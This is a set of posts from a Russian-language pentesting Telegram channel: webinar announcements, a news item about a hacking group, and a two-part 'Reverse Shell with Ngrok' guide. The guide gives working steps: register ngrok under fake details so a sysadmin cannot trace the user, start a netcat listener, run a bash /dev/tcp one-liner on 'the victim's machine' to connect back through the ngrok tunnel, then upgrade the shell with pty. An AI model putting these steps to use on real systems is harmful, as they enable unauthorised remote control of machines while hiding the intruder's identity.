Мнение по поводу вебинара

🔥Пришли 75 человек, ребята, спасибо вам огромное за внимание!

Коротко разобрали что такое Burp Suite, что им можно делать и как. Возможности этого инструмента в тестировании веб-приложений действительно впечатляют.

Запись вебинара появится на ютубе, в течение пары дней

Ждем вас на следующих вебинарах! Запустим информационную безопасность в массы! 🛡

Cors | E7EDUCATION SUBSCRIBE

2FA Bypass Techniques

Очень хороший чит щит, всем советую

Tadn3wb | Смотреть

Reverse Shell с Ngrok часть 1

Одним прекрасным рабочим вечером обрабатывали с ребятами интересный noname проект. Все шло по плану, рекон провели, сфаззили, прокинули веб-шелл, но его оказалось недостаточно, да и как-то не по человечески все это выглядело.. Хотелось красоты!

Решили прокинуть реверс и встряли ненадолго, аренда дедика как назло закончилась, а на основной машинке с ВПНом то айпишник приватный, ничего не сделать.

Благо быстро вспомнили про такую штуку как Ngrok

20 сердец и выкладываю инструкцию в следующей части

E1tex | E7EDUCATION SUBSCRIBE

Обманул, ещё 20 😈

Опять обманул, ещё 10 и
выкладываем 😂😉

До 50 добиваем

Reverse Shell с Ngrok часть 2

Благо быстро вспомнили про такую штуку как Ngrok. Сейчас распишу краткий гайд для работяг, чтобы при занятиях этичным хакингом не тратили время на такие пустяки)

Инструкция:
1. Скачиваем ngrok
2. Пока скачивается, регаемся с левыми данными
Мы же не хотим, чтобы злой сисадмин нашел вас чтобы сказать пару ласковых))
3. Коннектимся к аккаунту - ngrok config add-authtoken {ВАШ_ТОКЕН}
Токен будет в ЛК на сайте
4. Запускаем Ngrok для получения публичной TCP ссылки - ./ngrok tcp <ПОРТ>
Порт выбираем любой, на ваш вкус
5. Запускаем через неткат слушалку на том же порте - nc -lnvp {ВАШ_ПОРТ}
6. На машинке жертвы выполняем - bash -c 'exec bash -i &>/dev/tcp/{ВАША_ПУБЛИЧНАЯ_ЛИНКА_НГРОК}/{ПУБЛИЧНЫЙ_TCP_ПОРТ_НГРОК} <&1'
7. Вводим для удобства данные команды уже непосредственно в нашем реверс шелле:

export TERM=xterm256-color

python3 -c 'import pty; pty.spawn("/bin/bash")'

python -c 'import pty; pty.spawn("/bin/sh")'

Приятной работы, добрые хакеры!

E1tex | E7EDUCATION SUBSCRIBE

ASYNCIO PYTHON

Асинхронный код с помощью
async-await

Читать

Хак-группа Water Labbu взламывает сайты криптовалютных скамеров

Группировка известная под названием Water Labbu взламывает сайты криптовалютных скамеров и внедряет в код вредоносный JavaScript, который ворует средства у жертв мошенников

Источник: xakep[.]ru

Всем здравия! 🔥

В эту субботу мы проведём вебинар на тему: Организация рабочего процесса - Obsidian

Вебинар будет полезен как новичкам, так и действующим специалистам

Мы разберём с вами принцип действия инструмента, примеры использования, расскажем и наглядно покажем как работать с инструментом

Вебинар будет проходить или в нашем чате, или на нашем ютуб канале ❤️‍🔥
(Информацию напишем завтра в течении дня)

Дата: 08.10.22
Время начала: 18:00 (мск)

❗️Вебинар будет проводить:
Обладатель сертификата PRTT
Действующий кодер и пентестер
Админ и спикер - под ником: E1TEX

OSINT по веб ресурсу | Pentest

В этом видео, наш спикер E1TEX расскажет вам о правильной методики OSINT по ресурсу. Этот метод разработан, специально для того чтобы получить максимально быстро, информацию о цели не используя инструменты. Также, этот метод рассчитан на получение минимальной информации за короткий срок

Смотреть

Я тут подумал, мы сделаем все три видео 😉

Но, что делать первым, выбирать вам

🔥Уже через 24 часа состоится наш вебинар по теме: «Организация рабочего процесса - Obsidian»

Вебинар будет проходить в нашем ютуб канале в формате трансляции - https://youtu.be/sHhOBa8jIAU ❤️‍🔥

Время начала вебинара: 18:00 (мск)

❗️Вебинар будет проводить:
Обладатель сертификата PRTT
Действующий кодер и пентестер
Админ и спикер - под ником: E1TEX

🔥Остался всего час до нашего вебинара по теме: «Организация рабочего процесса - Obsidian»

Вебинар будет проходить в нашем ютуб канале в формате трансляции - https://youtu.be/sHhOBa8jIAU ❤️‍🔥

Ждем всех через час в нашем ютуб канале!

❗️5 минут - https://youtu.be/sHhOBa8jIAU